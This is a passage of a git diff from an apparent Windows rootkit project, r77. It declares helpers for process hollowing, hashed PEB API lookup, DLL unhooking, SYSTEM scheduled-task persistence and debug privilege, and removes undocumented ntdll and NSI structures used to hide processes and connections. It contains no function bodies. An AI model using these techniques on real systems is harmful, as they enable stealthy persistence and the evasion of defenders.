Is64BitProcess(DWORD processId, LPBOOL is64Bit); +/// +/// Retrieves a function from a DLL specified by a name. +/// +/// The name of the DLL to retrieve the function from. +/// The name of the function to retrieve. +/// +/// A pointer to the function, or NULL, if either the DLL was not found or does not have a function by the specified name. +/// +LPVOID GetFunction(LPCSTR dll, LPCSTR function); +/// +/// Gets the integrity level of a process. +/// +/// The process ID to check. +/// A pointer to a DWORD value to write the result to. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL GetProcessIntegrityLevel(HANDLE process, LPDWORD integrityLevel); +/// +/// Gets the filename or the full path of a process. +/// +/// The process ID to retrieve the filename or full path from. +/// TRUE to return the full path, FALSE to return only the filename. +/// A buffer to write the filename or full path to. +/// The length of the fileName buffer. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL GetProcessFileName(DWORD processId, BOOL fullPath, LPWSTR fileName, DWORD fileNameLength); +/// +/// Gets the username of a process. +/// +/// The handle to the process to check. +/// A buffer of unicode characters to write the result to. +/// The length of the result buffer. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL GetProcessUserName(HANDLE process, PWCHAR name, LPDWORD nameLength); +/// +/// Obtains the SeDebugPrivilege. +/// +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL EnabledDebugPrivilege(); +/// +/// Gets an executable resource. +/// +/// The identifier of the resource. +/// The type identifier of the resource. +/// A pointer that is set to a newly allocated buffer with the resource data. +/// A pointer to a DWORD value to write the size of the returned buffer to. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL GetResource(DWORD resourceID, PCSTR type, LPBYTE *data, LPDWORD size); +/// +/// Retrieves the full path from a file handle. +/// +/// A file handle to retrieve the path from. +/// A buffer to write the path to. +/// The length of the fileName buffer. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL GetPathFromHandle(HANDLE file, LPWSTR fileName, DWORD fileNameLength); +/// +/// Reads the contents of a file. +/// +/// The path to the file to read. +/// A pointer that is set to a newly allocated buffer with the file contents. +/// A pointer to a DWORD value to write the size of the returned buffer to. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL ReadFileContent(LPCWSTR path, LPBYTE *data, LPDWORD size); +/// +/// Reads a null terminated LPCWSTR from the specified file. +/// +/// A file handle to read the string from. +/// The buffer to write the string to. +/// The length of the string buffer. +/// +/// TRUE, if this function succeeds; +/// FALSE, if the string was longer than the specified buffer, or the end of the file was reached before the null terminator. +/// +BOOL ReadFileStringW(HANDLE file, PWCHAR str, DWORD length); +/// +/// Writes a buffer to a file. +/// +/// The path to the file to create. +/// A buffer to write to the file. +/// The number of bytes to write. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL WriteFileContent(LPCWSTR path, LPBYTE data, DWORD size); +/// +/// Creates a file with a random filename and a given extension in the temp directory and writes a given buffer to it. +/// +/// A buffer to write to the file. +/// The number of bytes to write. +/// The extension to append to the random filename, excluding the dot. +/// A buffer of unicode characters to write the path of the created file to. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL CreateTempFile(LPBYTE file, DWORD fileSize, LPCWSTR extension, LPWSTR resultPath); +/// +/// Executes a file and waits for the process to exit. +/// +/// The path to the file to execute. +/// TRUE, to attempt to delete the file. A total of 10 deletion attempts with a delay of 100 ms is performed. +/// +/// TRUE, if the file was successfully executed; +/// otherwise, FALSE. +/// If the file was executed, but deletion failed, TRUE is returned. +/// +BOOL ExecuteFile(LPCWSTR path, BOOL deleteFile); +/// +/// Creates a scheduled task that is set to run under the SYSTEM account before the user logs in. +/// +/// The name of the scheduled task. +/// The working directory of the scheduled task. +/// The application name of the scheduled task. +/// The commandline arguments to pass to the created process. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL CreateScheduledTask(LPCWSTR name, LPCWSTR directory, LPCWSTR fileName, LPCWSTR arguments); +/// +/// Starts a scheduled task. +/// +/// The name of the scheduled task. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL RunScheduledTask(LPCWSTR name); +/// +/// Deletes a scheduled task. +/// +/// The name of the scheduled task. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL DeleteScheduledTask(LPCWSTR name); +/// +/// Creates a named pipe that is accessible by every process. +/// +/// The name of the named pipe to be created. +/// +/// A handle to the newly created named pipe, or INVALID_HANDLE_VALUE, if creation failed. +/// +HANDLE CreatePublicNamedPipe(LPCWSTR name); + +/// +/// Determines the bitness of an executable file. +/// +/// A buffer containing the executable file. +/// A pointer to a BOOL value to write the result to. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL IsExecutable64Bit(LPBYTE image, LPBOOL is64Bit); +/// +/// Retrieves a function pointer from the PEB. +/// +/// The hash of the module name. The module must be loaded. +/// The hash of the function name. +/// +/// A pointer to the function, or NULL, if the function could not be found. +/// +LPVOID PebGetProcAddress(DWORD moduleHash, DWORD functionHash); +/// +/// Creates a new process using the process hollowing technique. +/// The bitness of the current process, the created process and the payload must match. +/// +/// The target executable path. This can be any existing file with the same bitness as the current process and the payload. +/// The actual executable that is the payload of the new process, regardless of the path argument. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL RunPE(LPCWSTR path, LPBYTE payload); +/// +/// Gets the file offset of an exported function from an executable file. +/// +/// A buffer with the executable file. +/// The name of the exported function. +/// +/// The file offset of the exported function; or 0, if this function fails. +/// +DWORD GetExecutableFunction(LPBYTE image, LPCSTR functionName); +/// +/// Converts a RVA to a file offset. +/// +/// A buffer with the executable file. +/// The RVA to convert. +/// +/// The file offset converted from the specified RVA; or 0, if this function fails. +/// +DWORD RvaToOffset(LPBYTE image, DWORD rva); +/// +/// Unhooks a DLL by replacing the .text section with the original DLL section. +/// +/// The name of the DLL to unhook. +VOID UnhookDll(LPCWSTR name); + +#endif \ No newline at end of file diff --git a/src/Uninstall/Uninstall.h b/src/Uninstall/Uninstall.h deleted file mode 100644 index efb5017..0000000 --- a/src/Uninstall/Uninstall.h +++ /dev/null @@ -1,4 +0,0 @@ -#pragma comment(linker, "/subsystem:windows") - -#include "../r77api.h" -#include "../../vs/Uninstall/resource.h" \ No newline at end of file diff --git a/src/Uninstall64/Uninstall64.h b/src/Uninstall64/Uninstall64.h deleted file mode 100644 index 46535db..0000000 --- a/src/Uninstall64/Uninstall64.h +++ /dev/null @@ -1,3 +0,0 @@ -#pragma comment(linker, "/subsystem:windows") - -#include "../r77api.h" \ No newline at end of file diff --git a/src/ntdll.h b/src/ntdll.h deleted file mode 100644 index aaf52e5..0000000 --- a/src/ntdll.h +++ /dev/null @@ -1,663 +0,0 @@ -#define STATUS_NO_MORE_FILES ((NTSTATUS)0x80000006L) - -#define SL_RESTART_SCAN 0x01 -#define SL_RETURN_SINGLE_ENTRY 0x02 -#define SL_INDEX_SPECIFIED 0x04 -#define SL_RETURN_ON_DISK_ENTRIES_ONLY 0x08 -#define SL_NO_CURSOR_UPDATE 0x10 - -#define DEVICE_NSI L"\\Device\\Nsi" -#define IOCTL_NSI_GETALLPARAM 0x12001b - -namespace nt -{ - typedef enum _SYSTEM_INFORMATION_CLASS - { - SystemBasicInformation, - SystemProcessorInformation, - SystemPerformanceInformation, - SystemTimeOfDayInformation, - SystemPathInformation, - SystemProcessInformation, - SystemCallCountInformation, - SystemDeviceInformation, - SystemProcessorPerformanceInformation, - SystemFlagsInformation, - SystemCallTimeInformation, - SystemModuleInformation, - SystemLocksInformation, - SystemStackTraceInformation, - SystemPagedPoolInformation, - SystemNonPagedPoolInformation, - SystemHandleInformation, - SystemObjectInformation, - SystemPageFileInformation, - SystemVdmInstemulInformation, - SystemVdmBopInformation, - SystemFileCacheInformation, - SystemPoolTagInformation, - SystemInterruptInformation, - SystemDpcBehaviorInformation, - SystemFullMemoryInformation, - SystemLoadGdiDriverInformation, - SystemUnloadGdiDriverInformation, - SystemTimeAdjustmentInformation, - SystemSummaryMemoryInformation, - SystemMirrorMemoryInformation, - SystemPerformanceTraceInformation, - SystemObsolete0, - SystemExceptionInformation, - SystemCrashDumpStateInformation, - SystemKernelDebuggerInformation, - SystemContextSwitchInformation, - SystemRegistryQuotaInformation, - SystemExtendServiceTableInformation, - SystemPrioritySeperation, - SystemVerifierAddDriverInformation, - SystemVerifierRemoveDriverInformation, - SystemProcessorIdleInformation, - SystemLegacyDriverInformation, - SystemCurrentTimeZoneInformation, - SystemLookasideInformation, - SystemTimeSlipNotification, - SystemSessionCreate, - SystemSessionDetach, - SystemSessionInformation, - SystemRangeStartInformation, - SystemVerifierInformation, - SystemVerifierThunkExtend, - SystemSessionProcessInformation, - SystemLoadGdiDriverInSystemSpace, - SystemNumaProcessorMap, - SystemPrefetcherInformation, - SystemExtendedProcessInformation, - SystemRecommendedSharedDataAlignment, - SystemComPlusPackage, - SystemNumaAvailableMemory, - SystemProcessorPowerInformation, - SystemEmulationBasicInformation, - SystemEmulationProcessorInformation, - SystemExtendedHandleInformation, - SystemLostDelayedWriteInformation, - SystemBigPoolInformation, - SystemSessionPoolTagInformation, - SystemSessionMappedViewInformation, - SystemHotpatchInformation, - SystemObjectSecurityMode, - SystemWatchdogTimerHandler, - SystemWatchdogTimerInformation, - SystemLogicalProcessorInformation, - SystemWow64SharedInformationObsolete, - SystemRegisterFirmwareTableInformationHandler, - SystemFirmwareTableInformation, - SystemModuleInformationEx, - SystemVerifierTriageInformation, - SystemSuperfetchInformation, - SystemMemoryListInformation, - SystemFileCacheInformationEx, - SystemThreadPriorityClientIdInformation, - SystemProcessorIdleCycleTimeInformation, - SystemVerifierCancellationInformation, - SystemProcessorPowerInformationEx, - SystemRefTraceInformation, - SystemSpecialPoolInformation, - SystemProcessIdInformation, - SystemErrorPortInformation, - SystemBootEnvironmentInformation, - SystemHypervisorInformation, - SystemVerifierInformationEx, - SystemTimeZoneInformation, - SystemImageFileExecutionOptionsInformation, - SystemCoverageInformation, - SystemPrefetchPatchInformation, - SystemVerifierFaultsInformation, - SystemSystemPartitionInformation, - SystemSystemDiskInformation, - SystemProcessorPerformanceDistribution, - SystemNumaProximityNodeInformation, - SystemDynamicTimeZoneInformation, - SystemCodeIntegrityInformation, - SystemProcessorMicrocodeUpdateInformation, - SystemProcessorBrandString, - SystemVirtualAddressInformation, - SystemLogicalProcessorAndGroupInformation, - SystemProcessorCycleTimeInformation, - SystemStoreInformation, - SystemRegistryAppendString, - SystemAitSamplingValue, - SystemVhdBootInformation, - SystemCpuQuotaInformation, - SystemNativeBasicInformation, - SystemErrorPortTimeouts, - SystemLowPriorityIoInformation, - SystemTpmBootEntropyInformation, - SystemVerifierCountersInformation, - SystemPagedPoolInformationEx, - SystemSystemPtesInformationEx, - SystemNodeDistanceInformation, - SystemAcpiAuditInformation, - SystemBasicPerformanceInformation, - SystemQueryPerformanceCounterInformation, - SystemSessionBigPoolInformation, - SystemBootGraphicsInformation, - SystemScrubPhysicalMemoryInformation, - SystemBadPageInformation, - SystemProcessorProfileControlArea, - SystemCombinePhysicalMemoryInformation, - SystemEntropyInterruptTimingInformation, - SystemConsoleInformation, - SystemPlatformBinaryInformation, - SystemPolicyInformation, - SystemHypervisorProcessorCountInformation, - SystemDeviceDataInformation, - SystemDeviceDataEnumerationInformation, - SystemMemoryTopologyInformation, - SystemMemoryChannelInformation, - SystemBootLogoInformation, - SystemProcessorPerformanceInformationEx, - SystemCriticalProcessErrorLogInformation, - SystemSecureBootPolicyInformation, - SystemPageFileInformationEx, - SystemSecureBootInformation, - SystemEntropyInterruptTimingRawInformation, - SystemPortableWorkspaceEfiLauncherInformation, - SystemFullProcessInformation, - SystemKernelDebuggerInformationEx, - SystemBootMetadataInformation, - SystemSoftRebootInformation, - SystemElamCertificateInformation, - SystemOfflineDumpConfigInformation, - SystemProcessorFeaturesInformation, - SystemRegistryReconciliationInformation, - SystemEdidInformation, - SystemManufacturingInformation, - SystemEnergyEstimationConfigInformation, - SystemHypervisorDetailInformation, - SystemProcessorCycleStatsInformation, - SystemVmGenerationCountInformation, - SystemTrustedPlatformModuleInformation, - SystemKernelDebuggerFlags, - SystemCodeIntegrityPolicyInformation, - SystemIsolatedUserModeInformation, - SystemHardwareSecurityTestInterfaceResultsInformation, - SystemSingleModuleInformation, - SystemAllowedCpuSetsInformation, - SystemVsmProtectionInformation, - SystemInterruptCpuSetsInformation, - SystemSecureBootPolicyFullInformation, - SystemCodeIntegrityPolicyFullInformation, - SystemAffinitizedInterruptProcessorInformation, - SystemRootSiloInformation, - SystemCpuSetInformation, - SystemCpuSetTagInformation, - SystemWin32WerStartCallout, - SystemSecureKernelProfileInformation, - SystemCodeIntegrityPlatformManifestInformation, - SystemInterruptSteeringInformation, - SystemSupportedProcessorArchitectures, - SystemMemoryUsageInformation, - SystemCodeIntegrityCertificateInformation, - SystemPhysicalMemoryInformation, - SystemControlFlowTransition, - SystemKernelDebuggingAllowed, - SystemActivityModerationExeState, - SystemActivityModerationUserSettings, - SystemCodeIntegrityPoliciesFullInformation, - SystemCodeIntegrityUnlockInformation, - SystemIntegrityQuotaInformation, - SystemFlushInformation, - SystemProcessorIdleMaskInformation, - SystemSecureDumpEncryptionInformation, - SystemWriteConstraintInformation, - SystemKernelVaShadowInformation, - SystemHypervisorSharedPageInformation, - SystemFirmwareBootPerformanceInformation, - SystemCodeIntegrityVerificationInformation, - SystemFirmwarePartitionInformation, - SystemSpeculationControlInformation, - SystemDmaGuardPolicyInformation, - SystemEnclaveLaunchControlInformation, - SystemWorkloadAllowedCpuSetsInformation, - SystemCodeIntegrityUnlockModeInformation, - SystemLeapSecondInformation, - SystemFlags2Information, - SystemSecurityModelInformation, - SystemCodeIntegritySyntheticCacheInformation, - SystemFeatureConfigurationInformation, - SystemFeatureConfigurationSectionInformation, - SystemFeatureUsageSubscriptionInformation, - SystemSecureSpeculationControlInformation - } SYSTEM_INFORMATION_CLASS; - - typedef struct _SYSTEM_PROCESS_INFORMATION - { - ULONG NextEntryOffset; - ULONG NumberOfThreads; - LARGE_INTEGER WorkingSetPrivateSize; - ULONG HardFaultCount; - ULONG NumberOfThreadsHighWatermark; - ULONGLONG CycleTime; - LARGE_INTEGER CreateTime; - LARGE_INTEGER UserTime; - LARGE_INTEGER KernelTime; - UNICODE_STRING ImageName; - ULONG BasePriority; - HANDLE ProcessId; - HANDLE InheritedFromProcessId; - } SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; - - typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION - { - LARGE_INTEGER IdleTime; - LARGE_INTEGER KernelTime; - LARGE_INTEGER UserTime; - LARGE_INTEGER DpcTime; - LARGE_INTEGER InterruptTime; - ULONG InterruptCount; - } SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION; - - typedef enum _FILE_INFORMATION_CLASS - { - FileDirectoryInformation = 1, - FileFullDirectoryInformation, - FileBothDirectoryInformation, - FileBasicInformation, - FileStandardInformation, - FileInternalInformation, - FileEaInformation, - FileAccessInformation, - FileNameInformation, - FileRenameInformation, - FileLinkInformation, - FileNamesInformation, - FileDispositionInformation, - FilePositionInformation, - FileFullEaInformation, - FileModeInformation, - FileAlignmentInformation, - FileAllInformation, - FileAllocationInformation, - FileEndOfFileInformation, - FileAlternateNameInformation, - FileStreamInformation, - FilePipeInformation, - FilePipeLocalInformation, - FilePipeRemoteInformation, - FileMailslotQueryInformation, - FileMailslotSetInformation, - FileCompressionInformation, - FileObjectIdInformation, - FileCompletionInformation, - FileMoveClusterInformation, - FileQuotaInformation, - FileReparsePointInformation, - FileNetworkOpenInformation, - FileAttributeTagInformation, - FileTrackingInformation, - FileIdBothDirectoryInformation, - FileIdFullDirectoryInformation, - FileValidDataLengthInformation, - FileShortNameInformation, - FileIoCompletionNotificationInformation, - FileIoStatusBlockRangeInformation, - FileIoPriorityHintInformation, - FileSfioReserveInformation, - FileSfioVolumeInformation, - FileHardLinkInformation, - FileProcessIdsUsingFileInformation, - FileNormalizedNameInformation, - FileNetworkPhysicalNameInformation, - FileIdGlobalTxDirectoryInformation, - FileIsRemoteDeviceInformation, - FileUnusedInformation, - FileNumaNodeInformation, - FileStandardLinkInformation, - FileRemoteProtocolInformation, - FileRenameInformationBypassAccessCheck, - FileLinkInformationBypassAccessCheck, - FileVolumeNameInformation, - FileIdInformation, - FileIdExtdDirectoryInformation, - FileReplaceCompletionInformation, - FileHardLinkFullIdInformation, - FileIdExtdBothDirectoryInformation, - FileMaximumInformation - } FILE_INFORMATION_CLASS; - - typedef struct _FILE_BOTH_DIR_INFORMATION - { - ULONG NextEntryOffset; - ULONG FileIndex; - LARGE_INTEGER CreationTime; - LARGE_INTEGER LastAccessTime; - LARGE_INTEGER LastWriteTime; - LARGE_INTEGER ChangeTime; - LARGE_INTEGER EndOfFile; - LARGE_INTEGER AllocationSize; - ULONG FileAttributes; - ULONG FileNameLength; - ULONG EaSize; - CCHAR ShortNameLength; - WCHAR ShortName[12]; - WCHAR FileName[1]; - } FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION; - - typedef struct _FILE_DIRECTORY_INFORMATION - { - ULONG NextEntryOffset; - ULONG FileIndex; - LARGE_INTEGER CreationTime; - LARGE_INTEGER LastAccessTime; - LARGE_INTEGER LastWriteTime; - LARGE_INTEGER ChangeTime; - LARGE_INTEGER EndOfFile; - LARGE_INTEGER AllocationSize; - ULONG FileAttributes; - ULONG FileNameLength; - WCHAR FileName[1]; - } FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION; - - typedef struct _FILE_FULL_DIR_INFORMATION - { - ULONG NextEntryOffset; - ULONG FileIndex; - LARGE_INTEGER CreationTime; - LARGE_INTEGER LastAccessTime; - LARGE_INTEGER LastWriteTime; - LARGE_INTEGER ChangeTime; - LARGE_INTEGER EndOfFile; - LARGE_INTEGER AllocationSize; - ULONG FileAttributes; - ULONG FileNameLength; - ULONG EaSize; - WCHAR FileName[1]; - } FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION; - - typedef struct _FILE_ID_BOTH_DIR_INFORMATION - { - ULONG NextEntryOffset; - ULONG FileIndex; - LARGE_INTEGER CreationTime; - LARGE_INTEGER LastAccessTime; - LARGE_INTEGER LastWriteTime; - LARGE_INTEGER ChangeTime; - LARGE_INTEGER EndOfFile; - LARGE_INTEGER AllocationSize; - ULONG FileAttributes; - ULONG FileNameLength; - ULONG EaSize; - CCHAR ShortNameLength; - WCHAR ShortName[12]; - LARGE_INTEGER FileId; - WCHAR FileName[1]; - } FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION; - - typedef struct _FILE_ID_FULL_DIR_INFORMATION - { - ULONG NextEntryOffset; - ULONG FileIndex; - LARGE_INTEGER CreationTime; - LARGE_INTEGER LastAccessTime; - LARGE_INTEGER LastWriteTime; - LARGE_INTEGER ChangeTime; - LARGE_INTEGER EndOfFile; - LARGE_INTEGER AllocationSize; - ULONG FileAttributes; - ULONG FileNameLength; - ULONG EaSize; - LARGE_INTEGER FileId; - WCHAR FileName[1]; - } FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION; - - typedef struct _FILE_NAMES_INFORMATION - { - ULONG NextEntryOffset; - ULONG FileIndex; - ULONG FileNameLength; - WCHAR FileName[1]; - } FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION; - - typedef enum _KEY_INFORMATION_CLASS - { - KeyBasicInformation, - KeyNodeInformation, - KeyFullInformation, - KeyNameInformation - } KEY_INFORMATION_CLASS; - - typedef enum _KEY_VALUE_INFORMATION_CLASS - { - KeyValueBasicInformation, - KeyValueFullInformation, - KeyValuePartialInformation - } KEY_VALUE_INFORMATION_CLASS; - - typedef struct _KEY_BASIC_INFORMATION - { - LARGE_INTEGER LastWriteTime; - ULONG TitleIndex; - ULONG NameLength; - WCHAR Name[1]; - } KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION; - - typedef struct _KEY_NAME_INFORMATION - { - ULONG NameLength; - WCHAR Name[1]; - } KEY_NAME_INFORMATION, *PKEY_NAME_INFORMATION; - - typedef struct _KEY_VALUE_BASIC_INFORMATION - { - ULONG TitleIndex; - ULONG Type; - ULONG NameLength; - WCHAR Name[1]; - } KEY_VALUE_BASIC_INFORMATION, *PKEY_VALUE_BASIC_INFORMATION; - - typedef struct _KEY_VALUE_FULL_INFORMATION - { - ULONG TitleIndex; - ULONG Type; - ULONG DataOffset; - ULONG DataLength; - ULONG NameLength; - WCHAR Name[1]; - } KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION; - - typedef enum _NSI_PARAM_TYPE - { - Udp = 1, - Tcp = 3 - } NSI_PARAM_TYPE; - - typedef struct _NSI_TCP_SUBENTRY - { - BYTE Reserved1[2]; - USHORT Port; - ULONG IpAddress; - BYTE IpAddress6[16]; - BYTE Reserved2[4]; - } NSI_TCP_SUBENTRY, *PNSI_TCP_SUBENTRY; - - typedef struct _NSI_TCP_ENTRY - { - NSI_TCP_SUBENTRY Local; - NSI_TCP_SUBENTRY Remote; - } NSI_TCP_ENTRY, *PNSI_TCP_ENTRY; - - typedef struct _NSI_UDP_ENTRY - { - BYTE Reserved1[2]; - USHORT Port; - ULONG IpAddress; - BYTE IpAddress6[16]; - BYTE Reserved2[4]; - } NSI_UDP_ENTRY, *PNSI_UDP_ENTRY; - - typedef struct _NSI_STATUS_ENTRY - { - ULONG State; - BYTE Reserved[8]; - } NSI_STATUS_ENTRY, *PNSI_STATUS_ENTRY; - - typedef struct _NSI_PROCESS_ENTRY - { - ULONG UdpProcessId; - ULONG Reserved1; - ULONG Reserved2; - ULONG TcpProcessId; - ULONG Reserved3; - ULONG Reserved4; - ULONG Reserved5; - ULONG Reserved6; - } NSI_PROCESS_ENTRY, *PNSI_PROCESS_ENTRY; - - typedef struct _NSI_PARAM - { - SIZE_T Reserved1; - SIZE_T Reserved2; - LPVOID ModuleId; - NSI_PARAM_TYPE Type; - ULONG Reserved3; - ULONG Reserved4; - LPVOID Entries; - SIZE_T EntrySize; - LPVOID Reserved5; - SIZE_T Reserved6; - PNSI_STATUS_ENTRY StatusEntries; - SIZE_T Reserved7; - PNSI_PROCESS_ENTRY ProcessEntries; - SIZE_T ProcessEntrySize; - SIZE_T Count; - } NSI_PARAM, *PNSI_PARAM; - - typedef enum _OBJECT_INFORMATION_CLASS - { - ObjectBasicInformation, - ObjectNameInformation, - ObjectTypeInformation, - ObjectAllInformation, - ObjectDataInformation - } OBJECT_INFORMATION_CLASS, *POBJECT_INFORMATION_CLASS; - - typedef struct _LDR_DATA_TABLE_ENTRY - { - LIST_ENTRY InMemoryOrderModuleList; - LIST_ENTRY InInitializationOrderModuleList; - LPVOID DllBase; - LPVOID EntryPoint; - ULONG SizeOfImage; - UNICODE_STRING FullDllName; - UNICODE_STRING BaseDllName; - ULONG Flags; - SHORT LoadCount; - SHORT TlsIndex; - LIST_ENTRY HashTableEntry; - ULONG TimeDateStamp; - } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; - - typedef struct _PEB_LDR_DATA - { - DWORD Length; - DWORD Initialized; - LPVOID SsHandle; - LIST_ENTRY InLoadOrderModuleList; - LIST_ENTRY InMemoryOrderModuleList; - LIST_ENTRY InInitializationOrderModuleList; - LPVOID EntryInProgress; - } PEB_LDR_DATA, *PPEB_LDR_DATA; - - typedef struct _PEB - { - BYTE InheritedAddressSpace; - BYTE ReadImageFileExecOptions; - BYTE BeingDebugged; - BYTE SpareBool; - LPVOID Mutant; - LPVOID ImageBaseAddress; - PPEB_LDR_DATA Ldr; - LPVOID ProcessParameters; - LPVOID SubSystemData; - LPVOID ProcessHeap; - PRTL_CRITICAL_SECTION FastPebLock; - LPVOID FastPebLockRoutine; - LPVOID FastPebUnlockRoutine; - DWORD EnvironmentUpdateCount; - LPVOID KernelCallbackTable; - DWORD SystemReserved; - DWORD AtlThunkSListPtr32; - LPVOID FreeList; - DWORD TlsExpansionCounter; - LPVOID TlsBitmap; - DWORD TlsBitmapBits[2]; - LPVOID ReadOnlySharedMemoryBase; - LPVOID ReadOnlySharedMemoryHeap; - LPVOID ReadOnlyStaticServerData; - LPVOID AnsiCodePageData; - LPVOID OemCodePageData; - LPVOID UnicodeCaseTableData; - DWORD NumberOfProcessors; - DWORD NtGlobalFlag; - LARGE_INTEGER CriticalSectionTimeout; - DWORD HeapSegmentReserve; - DWORD HeapSegmentCommit; - DWORD HeapDeCommitTotalFreeThreshold; - DWORD HeapDeCommitFreeBlockThreshold; - DWORD NumberOfHeaps; - DWORD MaximumNumberOfHeaps; - LPVOID ProcessHeaps; - LPVOID GdiSharedHandleTable; - LPVOID ProcessStarterHelper; - DWORD GdiDCAttributeList; - LPVOID LoaderLock; - DWORD OSMajorVersion; - DWORD OSMinorVersion; - WORD OSBuildNumber; - WORD OSCSDVersion; - DWORD OSPlatformId; - DWORD ImageSubsystem; - DWORD ImageSubsystemMajorVersion; - DWORD ImageSubsystemMinorVersion; - DWORD ImageProcessAffinityMask; - DWORD GdiHandleBuffer[34]; - LPVOID PostProcessInitRoutine; - LPVOID TlsExpansionBitmap; - DWORD TlsExpansionBitmapBits[32]; - DWORD SessionId; - ULARGE_INTEGER AppCompatFlags; - ULARGE_INTEGER AppCompatFlagsUser; - LPVOID ShimData; - LPVOID AppCompatInfo; - UNICODE_STRING CSDVersion; - LPVOID ActivationContextData; - LPVOID ProcessAssemblyStorageMap; - LPVOID SystemDefaultActivationContextData; - LPVOID SystemAssemblyStorageMap; - DWORD MinimumStackCommit; - } PEB, *PPEB; - - typedef struct _IMAGE_RELOC - { - WORD Offset : 12; - WORD Type : 4; - } IMAGE_RELOC, *PIMAGE_RELOC; - - typedef NTSTATUS(NTAPI *NTQUERYSYSTEMINFORMATION)(SYSTEM_INFORMATION_CLASS systemInformationClass, LPVOID systemInformation, ULONG systemInformationLength, PULONG returnLength); - typedef NTSTATUS(NTAPI *NTRESUMETHREAD)(HANDLE thread, PULONG suspendCount); - typedef NTSTATUS(NTAPI *NTQUERYDIRECTORYFILE)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, BOOLEAN returnSingleEntry, PUNICODE_STRING fileName, BOOLEAN restartScan); - typedef NTSTATUS(NTAPI *NTQUERYDIRECTORYFILEEX)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, FILE_INFORMATION_CLASS fileInformationClass, ULONG queryFlags, PUNICODE_STRING fileName); - typedef NTSTATUS(NTAPI *NTENUMERATEKEY)(HANDLE key, ULONG index, KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG keyInformationLength, PULONG resultLength); - typedef NTSTATUS(NTAPI *NTENUMERATEVALUEKEY)(HANDLE key, ULONG index, KEY_VALUE_INFORMATION_CLASS keyValueInformationClass, LPVOID keyValueInformation, ULONG keyValueInformationLength, PULONG resultLength); - typedef BOOL(WINAPI *ENUMSERVICEGROUPW)(SC_HANDLE serviceManager, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPVOID reserved); - typedef BOOL(WINAPI *ENUMSERVICESSTATUSEXW)(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName); - typedef NTSTATUS(NTAPI *NTDEVICEIOCONTROLFILE)(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, ULONG ioControlCode, LPVOID inputBuffer, ULONG inputBufferLength, LPVOID outputBuffer, ULONG outputBufferLength); - typedef NTSTATUS(NTAPI *NTQUERYOBJECT)(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength); - typedef NTSTATUS(NTAPI *NTCREATETHREADEX)(PHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer); - typedef NTSTATUS(NTAPI *RTLADJUSTPRIVILEGE)(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue); - typedef NTSTATUS(NTAPI *RTLSETPROCESSISCRITICAL)(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb); - typedef DWORD(NTAPI *NTFLUSHINSTRUCTIONCACHE)(HANDLE process, LPVOID baseAddress, ULONG size); - typedef HMODULE(WINAPI *LOADLIBRARYA)(LPCSTR fileName); - typedef FARPROC(WINAPI *GETPROCADDRESS)(HMODULE module, LPCSTR function); - typedef LPVOID(WINAPI *VIRTUALALLOC)(LPVOID address, SIZE_T size, DWORD allocationType, DWORD protect); - typedef BOOL(WINAPI *DLLMAIN)(HINSTANCE module, DWORD reason, LPVOID reserved); -} \ No newline at end of file diff --git a/src/r77/Config.h b/src/r77/Config.h deleted file mode 100644 index 